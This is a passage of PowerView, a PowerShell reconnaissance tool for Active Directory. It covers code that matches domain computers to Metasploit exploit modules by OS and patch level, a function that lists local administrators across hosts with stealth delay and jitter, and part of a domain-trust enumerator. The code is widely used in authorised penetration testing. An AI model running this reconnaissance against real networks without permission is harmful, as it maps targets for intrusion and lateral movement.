[convert]::ToString($_.useraccountcontrol,2)\n\n        # Check the 2nd to last value to determine if its disabled\n        $DisableOffset = $CurrentUacBin.Length - 2\n        $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1)\n\n        # Add computer to list if it's enabled\n        if ($CurrentDisabled  -eq 0) {\n            # Add domain computer to data table\n            $Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast)\n        }\n    }\n\n    # Status user        \n    Write-Verbose \"[*] Loading exploit list for critical missing patches...\"\n\n    # ----------------------------------------------------------------\n    # Setup data table for list of msf exploits\n    # ----------------------------------------------------------------\n\n    # Create data table for list of patches levels with a MSF exploit\n    $TableExploits = New-Object System.Data.DataTable \n    $Null = $TableExploits.Columns.Add('OperatingSystem') \n    $Null = $TableExploits.Columns.Add('ServicePack')\n    $Null = $TableExploits.Columns.Add('MsfModule')  \n    $Null = $TableExploits.Columns.Add('CVE')\n    \n    # Add exploits to data table\n    $Null = $TableExploits.Rows.Add(\"Windows 7\",\"\",\"exploit/windows/smb/ms10_061_spoolss\",\"http://www.cvedetails.com/cve/2010-2729\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Server Pack 1\",\"exploit/windows/dcerpc/ms03_026_dcom\",\"http://www.cvedetails.com/cve/2003-0352/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Server Pack 1\",\"exploit/windows/dcerpc/ms05_017_msmq\",\"http://www.cvedetails.com/cve/2005-0059\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Server Pack 1\",\"exploit/windows/iis/ms03_007_ntdll_webdav\",\"http://www.cvedetails.com/cve/2003-0109\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Server Pack 1\",\"exploit/windows/wins/ms04_045_wins\",\"http://www.cvedetails.com/cve/2004-1080/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 2\",\"exploit/windows/dcerpc/ms03_026_dcom\",\"http://www.cvedetails.com/cve/2003-0352/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 2\",\"exploit/windows/dcerpc/ms05_017_msmq\",\"http://www.cvedetails.com/cve/2005-0059\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 2\",\"exploit/windows/iis/ms03_007_ntdll_webdav\",\"http://www.cvedetails.com/cve/2003-0109\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 2\",\"exploit/windows/smb/ms04_011_lsass\",\"http://www.cvedetails.com/cve/2003-0533/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 2\",\"exploit/windows/wins/ms04_045_wins\",\"http://www.cvedetails.com/cve/2004-1080/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 3\",\"exploit/windows/dcerpc/ms03_026_dcom\",\"http://www.cvedetails.com/cve/2003-0352/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 3\",\"exploit/windows/dcerpc/ms05_017_msmq\",\"http://www.cvedetails.com/cve/2005-0059\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 3\",\"exploit/windows/iis/ms03_007_ntdll_webdav\",\"http://www.cvedetails.com/cve/2003-0109\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 3\",\"exploit/windows/wins/ms04_045_wins\",\"http://www.cvedetails.com/cve/2004-1080/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 4\",\"exploit/windows/dcerpc/ms03_026_dcom\",\"http://www.cvedetails.com/cve/2003-0352/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 4\",\"exploit/windows/dcerpc/ms05_017_msmq\",\"http://www.cvedetails.com/cve/2005-0059\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 4\",\"exploit/windows/dcerpc/ms07_029_msdns_zonename\",\"http://www.cvedetails.com/cve/2007-1748\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 4\",\"exploit/windows/smb/ms04_011_lsass\",\"http://www.cvedetails.com/cve/2003-0533/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 4\",\"exploit/windows/smb/ms06_040_netapi\",\"http://www.cvedetails.com/cve/2006-3439\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 4\",\"exploit/windows/smb/ms06_066_nwapi\",\"http://www.cvedetails.com/cve/2006-4688\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 4\",\"exploit/windows/smb/ms06_070_wkssvc\",\"http://www.cvedetails.com/cve/2006-4691\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 4\",\"exploit/windows/smb/ms08_067_netapi\",\"http://www.cvedetails.com/cve/2008-4250\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"Service Pack 4\",\"exploit/windows/wins/ms04_045_wins\",\"http://www.cvedetails.com/cve/2004-1080/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"\",\"exploit/windows/dcerpc/ms03_026_dcom\",\"http://www.cvedetails.com/cve/2003-0352/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"\",\"exploit/windows/dcerpc/ms05_017_msmq\",\"http://www.cvedetails.com/cve/2005-0059\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"\",\"exploit/windows/iis/ms03_007_ntdll_webdav\",\"http://www.cvedetails.com/cve/2003-0109\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"\",\"exploit/windows/smb/ms05_039_pnp\",\"http://www.cvedetails.com/cve/2005-1983\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2000\",\"\",\"exploit/windows/wins/ms04_045_wins\",\"http://www.cvedetails.com/cve/2004-1080/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003\",\"Server Pack 1\",\"exploit/windows/dcerpc/ms07_029_msdns_zonename\",\"http://www.cvedetails.com/cve/2007-1748\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003\",\"Server Pack 1\",\"exploit/windows/smb/ms06_040_netapi\",\"http://www.cvedetails.com/cve/2006-3439\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003\",\"Server Pack 1\",\"exploit/windows/smb/ms06_066_nwapi\",\"http://www.cvedetails.com/cve/2006-4688\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003\",\"Server Pack 1\",\"exploit/windows/smb/ms08_067_netapi\",\"http://www.cvedetails.com/cve/2008-4250\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003\",\"Server Pack 1\",\"exploit/windows/wins/ms04_045_wins\",\"http://www.cvedetails.com/cve/2004-1080/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003\",\"Service Pack 2\",\"exploit/windows/dcerpc/ms07_029_msdns_zonename\",\"http://www.cvedetails.com/cve/2007-1748\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003\",\"Service Pack 2\",\"exploit/windows/smb/ms08_067_netapi\",\"http://www.cvedetails.com/cve/2008-4250\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003\",\"Service Pack 2\",\"exploit/windows/smb/ms10_061_spoolss\",\"http://www.cvedetails.com/cve/2010-2729\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003\",\"\",\"exploit/windows/dcerpc/ms03_026_dcom\",\"http://www.cvedetails.com/cve/2003-0352/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003\",\"\",\"exploit/windows/smb/ms06_040_netapi\",\"http://www.cvedetails.com/cve/2006-3439\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003\",\"\",\"exploit/windows/smb/ms08_067_netapi\",\"http://www.cvedetails.com/cve/2008-4250\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003\",\"\",\"exploit/windows/wins/ms04_045_wins\",\"http://www.cvedetails.com/cve/2004-1080/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003 R2\",\"\",\"exploit/windows/dcerpc/ms03_026_dcom\",\"http://www.cvedetails.com/cve/2003-0352/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003 R2\",\"\",\"exploit/windows/smb/ms04_011_lsass\",\"http://www.cvedetails.com/cve/2003-0533/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003 R2\",\"\",\"exploit/windows/smb/ms06_040_netapi\",\"http://www.cvedetails.com/cve/2006-3439\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2003 R2\",\"\",\"exploit/windows/wins/ms04_045_wins\",\"http://www.cvedetails.com/cve/2004-1080/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2008\",\"Service Pack 2\",\"exploit/windows/smb/ms09_050_smb2_negotiate_func_index\",\"http://www.cvedetails.com/cve/2009-3103\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2008\",\"Service Pack 2\",\"exploit/windows/smb/ms10_061_spoolss\",\"http://www.cvedetails.com/cve/2010-2729\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2008\",\"\",\"exploit/windows/smb/ms09_050_smb2_negotiate_func_index\",\"http://www.cvedetails.com/cve/2009-3103\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2008\",\"\",\"exploit/windows/smb/ms10_061_spoolss\",\"http://www.cvedetails.com/cve/2010-2729\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Server 2008 R2\",\"\",\"exploit/windows/smb/ms10_061_spoolss\",\"http://www.cvedetails.com/cve/2010-2729\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Vista\",\"Server Pack 1\",\"exploit/windows/smb/ms09_050_smb2_negotiate_func_index\",\"http://www.cvedetails.com/cve/2009-3103\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Vista\",\"Server Pack 1\",\"exploit/windows/smb/ms10_061_spoolss\",\"http://www.cvedetails.com/cve/2010-2729\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Vista\",\"Service Pack 2\",\"exploit/windows/smb/ms09_050_smb2_negotiate_func_index\",\"http://www.cvedetails.com/cve/2009-3103\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Vista\",\"Service Pack 2\",\"exploit/windows/smb/ms10_061_spoolss\",\"http://www.cvedetails.com/cve/2010-2729\")  \n    $Null = $TableExploits.Rows.Add(\"Windows Vista\",\"\",\"exploit/windows/smb/ms09_050_smb2_negotiate_func_index\",\"http://www.cvedetails.com/cve/2009-3103\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"Server Pack 1\",\"exploit/windows/dcerpc/ms03_026_dcom\",\"http://www.cvedetails.com/cve/2003-0352/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"Server Pack 1\",\"exploit/windows/dcerpc/ms05_017_msmq\",\"http://www.cvedetails.com/cve/2005-0059\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"Server Pack 1\",\"exploit/windows/smb/ms04_011_lsass\",\"http://www.cvedetails.com/cve/2003-0533/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"Server Pack 1\",\"exploit/windows/smb/ms05_039_pnp\",\"http://www.cvedetails.com/cve/2005-1983\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"Server Pack 1\",\"exploit/windows/smb/ms06_040_netapi\",\"http://www.cvedetails.com/cve/2006-3439\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"Service Pack 2\",\"exploit/windows/dcerpc/ms05_017_msmq\",\"http://www.cvedetails.com/cve/2005-0059\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"Service Pack 2\",\"exploit/windows/smb/ms06_040_netapi\",\"http://www.cvedetails.com/cve/2006-3439\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"Service Pack 2\",\"exploit/windows/smb/ms06_066_nwapi\",\"http://www.cvedetails.com/cve/2006-4688\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"Service Pack 2\",\"exploit/windows/smb/ms06_070_wkssvc\",\"http://www.cvedetails.com/cve/2006-4691\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"Service Pack 2\",\"exploit/windows/smb/ms08_067_netapi\",\"http://www.cvedetails.com/cve/2008-4250\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"Service Pack 2\",\"exploit/windows/smb/ms10_061_spoolss\",\"http://www.cvedetails.com/cve/2010-2729\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"Service Pack 3\",\"exploit/windows/smb/ms08_067_netapi\",\"http://www.cvedetails.com/cve/2008-4250\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"Service Pack 3\",\"exploit/windows/smb/ms10_061_spoolss\",\"http://www.cvedetails.com/cve/2010-2729\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"\",\"exploit/windows/dcerpc/ms03_026_dcom\",\"http://www.cvedetails.com/cve/2003-0352/\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"\",\"exploit/windows/dcerpc/ms05_017_msmq\",\"http://www.cvedetails.com/cve/2005-0059\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"\",\"exploit/windows/smb/ms06_040_netapi\",\"http://www.cvedetails.com/cve/2006-3439\")  \n    $Null = $TableExploits.Rows.Add(\"Windows XP\",\"\",\"exploit/windows/smb/ms08_067_netapi\",\"http://www.cvedetails.com/cve/2008-4250\")  \n\n    # Status user        \n    Write-Verbose \"[*] Checking computers for vulnerable OS and SP levels...\"\n\n    # ----------------------------------------------------------------\n    # Setup data table to store vulnerable systems\n    # ----------------------------------------------------------------\n\n    # Create data table to house vulnerable server list\n    $TableVulnComputers = New-Object System.Data.DataTable \n    $Null = $TableVulnComputers.Columns.Add('ComputerName')\n    $Null = $TableVulnComputers.Columns.Add('OperatingSystem')\n    $Null = $TableVulnComputers.Columns.Add('ServicePack')\n    $Null = $TableVulnComputers.Columns.Add('LastLogon')\n    $Null = $TableVulnComputers.Columns.Add('MsfModule')\n    $Null = $TableVulnComputers.Columns.Add('CVE')\n\n    # Iterate through each exploit\n    $TableExploits | ForEach-Object {\n                 \n        $ExploitOS = $_.OperatingSystem\n        $ExploitSP = $_.ServicePack\n        $ExploitMsf = $_.MsfModule\n        $ExploitCVE = $_.CVE\n\n        # Iterate through each ADS computer\n        $TableAdsComputers | ForEach-Object {\n            \n            $AdsHostname = $_.Hostname\n            $AdsOS = $_.OperatingSystem\n            $AdsSP = $_.ServicePack                                                        \n            $AdsLast = $_.LastLogon\n            \n            # Add exploitable systems to vul computers data table\n            if ($AdsOS -like \"$ExploitOS*\" -and $AdsSP -like \"$ExploitSP\" ) {                    \n                # Add domain computer to data table                    \n                $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE)\n            }\n        }\n    }\n    \n    # Display results\n    $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object\n    $VulnComputerCount = $VulnComputer.Count\n\n    if ($VulnComputer.Count -gt 0) {\n        # Return vulnerable server list order with some hack date casting\n        Write-Verbose \"[+] Found $VulnComputerCount potentially vulnerable systems!\"\n        $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending\n    }\n    else {\n        Write-Verbose \"[-] No vulnerable systems were found.\"\n    }\n}\n\n\nfunction Invoke-EnumerateLocalAdmin {\n<#\n    .SYNOPSIS\n\n        This function queries the domain for all active machines with\n        Get-NetComputer, then for each server it queries the local\n        Administrators with Get-NetLocalGroup.\n\n        Author: @harmj0y\n        License: BSD 3-Clause\n\n    .PARAMETER ComputerName\n\n        Host array to enumerate, passable on the pipeline.\n\n    .PARAMETER ComputerFile\n\n        File of hostnames/IPs to search.\n\n    .PARAMETER ComputerFilter\n\n        Host filter name to query AD for, wildcards accepted.\n\n    .PARAMETER ComputerADSpath\n\n        The LDAP source to search through for hosts, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER NoPing\n\n        Switch. Don't ping each host to ensure it's up before enumerating.\n\n    .PARAMETER Delay\n\n        Delay between enumerating hosts, defaults to 0\n\n    .PARAMETER Jitter\n\n        Jitter for the host delay, defaults to +/- 0.3\n\n    .PARAMETER OutFile\n\n        Output results to a specified csv output file.\n\n    .PARAMETER NoClobber\n\n        Switch. Don't overwrite any existing output file.\n\n    .PARAMETER TrustGroups\n\n        Switch. Only return results that are not part of the local machine\n        or the machine's domain. Old Invoke-EnumerateLocalTrustGroup\n        functionality.\n    \n    .PARAMETER DomainOnly\n\n        Switch. Only return domain (non-local) results  \n\n    .PARAMETER Domain\n\n        Domain to query for machines, defaults to the current domain.\n    \n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER SearchForest\n\n        Switch. Search all domains in the forest for target users instead of just\n        a single domain.\n\n    .PARAMETER API\n\n        Switch. Use API calls instead of the WinNT service provider. Less information,\n        but the results are faster.\n\n    .PARAMETER Threads\n\n        The maximum concurrent threads to execute.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-EnumerateLocalAdmin\n\n        Enumerates the members of local administrators for all machines\n        in the current domain.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-EnumerateLocalAdmin -Threads 10\n\n        Threaded local admin enumeration, replaces Invoke-EnumerateLocalAdminThreaded\n\n    .LINK\n\n        http://blog.harmj0y.net/\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(Position=0,ValueFromPipeline=$True)]\n        [Alias('Hosts')]\n        [String[]]\n        $ComputerName,\n\n        [ValidateScript({Test-Path -Path $_ })]\n        [Alias('HostList')]\n        [String]\n        $ComputerFile,\n\n        [String]\n        $ComputerFilter,\n\n        [String]\n        $ComputerADSpath,\n\n        [Switch]\n        $NoPing,\n\n        [UInt32]\n        $Delay = 0,\n\n        [Double]\n        $Jitter = .3,\n\n        [String]\n        $OutFile,\n\n        [Switch]\n        $NoClobber,\n\n        [Switch]\n        $TrustGroups,\n\n        [Switch]\n        $DomainOnly,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [Switch]\n        $SearchForest,\n\n        [ValidateRange(1,100)] \n        [Int]\n        $Threads,\n\n        [Switch]\n        $API\n    )\n\n    begin {\n        if ($PSBoundParameters['Debug']) {\n            $DebugPreference = 'Continue'\n        }\n\n        # random object for delay\n        $RandNo = New-Object System.Random\n\n        Write-Verbose \"[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay\"\n\n        # if we're using a host list, read the targets in and add them to the target list\n        if($ComputerFile) {\n            $ComputerName = Get-Content -Path $ComputerFile\n        }\n\n        if(!$ComputerName) { \n            [array]$ComputerName = @()\n\n            if($Domain) {\n                $TargetDomains = @($Domain)\n            }\n            elseif($SearchForest) {\n                # get ALL the domains in the forest to search\n                $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }\n            }\n            else {\n                # use the local domain\n                $TargetDomains = @( (Get-NetDomain).name )\n            }\n\n            ForEach ($Domain in $TargetDomains) {\n                Write-Verbose \"[*] Querying domain $Domain for hosts\"\n                $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController\n            }\n            \n            # remove any null target hosts, uniquify the list and shuffle it\n            $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }\n            if($($ComputerName.Count) -eq 0) {\n                throw \"No hosts found!\"\n            }\n        }\n\n        # delete any existing output file if it already exists\n        if(!$NoClobber) {\n            if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }\n        }\n\n        if($TrustGroups) {\n            \n            Write-Verbose \"Determining domain trust groups\"\n\n            # find all group names that have one or more users in another domain\n            $TrustGroupNames = Find-ForeignGroup -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.GroupName } | Sort-Object -Unique\n\n            $TrustGroupsSIDs = $TrustGroupNames | ForEach-Object { \n                # ignore the builtin administrators group for a DC (S-1-5-32-544)\n                # TODO: ignore all default built in sids?\n                Get-NetGroup -Domain $Domain -DomainController $DomainController -GroupName $_ -FullData | Where-Object { $_.objectsid -notmatch \"S-1-5-32-544\" } | ForEach-Object { $_.objectsid }\n            }\n\n            # query for the primary domain controller so we can extract the domain SID for filtering\n            $DomainSID = Get-DomainSID -Domain $Domain -DomainController $DomainController\n        }\n\n        # script block that enumerates a server\n        $HostEnumBlock = {\n            param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)\n\n            # optionally check if the server is up first\n            $Up = $True\n            if($Ping) {\n                $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName\n            }\n            if($Up) {\n                # grab the users for the local admins on this server\n                if($API) {\n                    $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName -API\n                }\n                else {\n                    $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName\n                }\n\n                # if we just want to return cross-trust users\n                if($DomainSID) {\n                    # get the local machine SID\n                    $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace \"-500$\"\n                    Write-Verbose \"LocalSid for $ComputerName : $LocalSID\"\n                    # filter out accounts that begin with the machine SID and domain SID\n                    #   but preserve any groups that have users across a trust ($TrustGroupSIDS)\n                    $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) }\n                }\n\n                if($DomainOnly) {\n                    $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain}\n                }\n\n                if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) {\n                    # output the results to a csv if specified\n                    if($OutFile) {\n                        $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile\n                    }\n                    else {\n                        # otherwise return the user objects\n                        $LocalAdmins\n                    }\n                }\n                else {\n                    Write-Verbose \"[!] No users returned from $ComputerName\"\n                }\n            }\n        }\n    }\n\n    process {\n\n        if($Threads) {\n            Write-Verbose \"Using threading with threads = $Threads\"\n\n            # if we're using threading, kick off the script block with Invoke-ThreadedFunction\n            $ScriptParams = @{\n                'Ping' = $(-not $NoPing)\n                'OutFile' = $OutFile\n                'DomainSID' = $DomainSID\n                'TrustGroupsSIDs' = $TrustGroupsSIDs\n            }\n\n            # kick off the threaded script block + arguments\n            if($API) {\n                $ScriptParams['API'] = $True\n            }\n\n            if($DomainOnly) {\n                $ScriptParams['DomainOnly'] = $True\n            }\n         \n            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads\n        }\n\n        else {\n            if(-not $NoPing -and ($ComputerName.count -ne 1)) {\n                # ping all hosts in parallel\n                $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}\n                $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100\n            }\n\n            Write-Verbose \"[*] Total number of active hosts: $($ComputerName.count)\"\n            $Counter = 0\n\n            ForEach ($Computer in $ComputerName) {\n\n                $Counter = $Counter + 1\n\n                # sleep for our semi-randomized interval\n                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)\n                Write-Verbose \"[*] Enumerating server $Computer ($Counter of $($ComputerName.count))\"\n\n                $ScriptArgs = @($Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)\n\n                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $ScriptArgs\n            }\n        }\n    }\n}\n\n\n########################################################\n#\n# Domain trust functions below.\n#\n########################################################\n\nfunction Get-NetDomainTrust {\n<#\n    .SYNOPSIS\n\n        Return all domain trusts for the current domain or\n        a specified domain.\n\n    .PARAMETER Domain\n\n        The domain whose trusts to enumerate, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through, e.g. \"LDAP://DC=testlab,DC=local\".\n        Useful for global catalog queries ;)\n\n    .PARAMETER API\n\n        Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts.\n\n    .PARAMETER LDAP\n\n        Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. \n        More likely to get around network segmentation, but not as accurate.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetDomainTrust\n\n        Return domain trusts for the current domain using built in .NET methods.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetDomainTrust -Domain \"prod.testlab.local\"\n\n        Return domain trusts for the \"prod.testlab.local\" domain using .NET methods\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetDomainTrust -LDAP -Domain \"prod.testlab.local\" -DomainController \"PRIMARY.testlab.local\"\n\n        Return domain trusts for the \"prod.testlab.local\" domain enumerated through LDAP\n        queries, reflecting queries through the \"Primary.testlab.local\" domain controller,\n        using .NET methods.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetDomainTrust -API -Domain \"prod.testlab.local\"\n\n        Return domain trusts for the \"prod.testlab.local\" domain enumerated through API calls.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetDomainTrust -API -DomainController WINDOWS2.testlab.local\n\n        Return domain trusts reachable from the WINDOWS2 machine through API calls.\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(Position=0, ValueFromPipeline=$True)]\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String]\n        $ADSpath,\n\n        [Switch]\n        $API,\n\n        [Switch]\n        $LDAP,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    begin {\n        $TrustAttributes = @{\n            [uint32]'0x00000001' = 'non_transitive'\n            [uint32]'0x00000002' = 'uplevel_only'\n            [uint32]'0x00000004' = 'quarantined_domain'\n            [uint32]'0x00000008' = 'forest_transitive'\n            [uint32]'0x00000010' = 'cross_organization'\n            [uint32]'0x00000020' = 'within_forest'\n            [uint32]'0x00000040' = 'treat_as_external'\n            [uint32]'0x00000080' = 'trust_uses_rc4_encryption'\n            [uint32]'0x00000100' = 'trust_uses_aes_keys'\n            [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation'\n            [uint32]'0x00000400' = 'pim_trust'\n        }\n    }\n\n    process {\n\n        if(-not $Domain) {\n            # if not domain is specified grab the current domain\n            $SourceDomain = (Get-NetDomain -Credential $Credential).Name\n        }\n        else {\n            $SourceDomain = $Domain\n        }\n\n        if($LDAP -or $ADSPath) {\n\n            $TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath\n\n            $SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController\n\n            if($TrustSearcher) {\n\n                $TrustSearcher.Filter = '(objectClass=trustedDomain)'\n\n                $Results = $TrustSearcher.FindAll()\n                $Results | Where-Object {$_} | ForEach-Object {\n                    $Props = $_.Properties\n                    $DomainTrust = New-Object PSObject\n                    \n                    $TrustAttrib = @()\n                    $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }\n\n                    $Direction = Switch ($Props.trustdirection) {\n                        0 { 'Disabled' }\n                        1 { 'Inbound' }\n                        2 { 'Outbound' }\n                        3 { 'Bidirectional' }\n                    }\n                    $ObjectGuid = New-Object Guid @(,$Props.objectguid[0])\n                    $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value\n                    $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain\n                    $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID\n                    $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]\n                    $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID\n                    $DomainTrust | Add-Member Noteproperty 'ObjectGuid' \"{$ObjectGuid}\"\n                    $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',')\n                    $DomainTrust | Add-Member Noteproperty 'TrustDirection' \"$Direction\"\n                    $DomainTrust.PSObject.TypeNames.Add('PowerView.DomainTrustLDAP')\n                    $DomainTrust\n                }\n                $Results.dispose()\n                $TrustSearcher.dispose()\n            }\n        }\n        elseif($API) {\n            if(-not $DomainController) {\n                $DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name\n            }\n\n            if($DomainController) {\n                # arguments for DsEnumerateDomainTrusts\n                $PtrInfo = [IntPtr]::Zero\n\n                # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND\n                $Flags = 63\n                $DomainCount = 0\n\n                # get the trust information from the target server\n                $Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount)\n\n                # Locate the offset of the initial intPtr\n                $Offset = 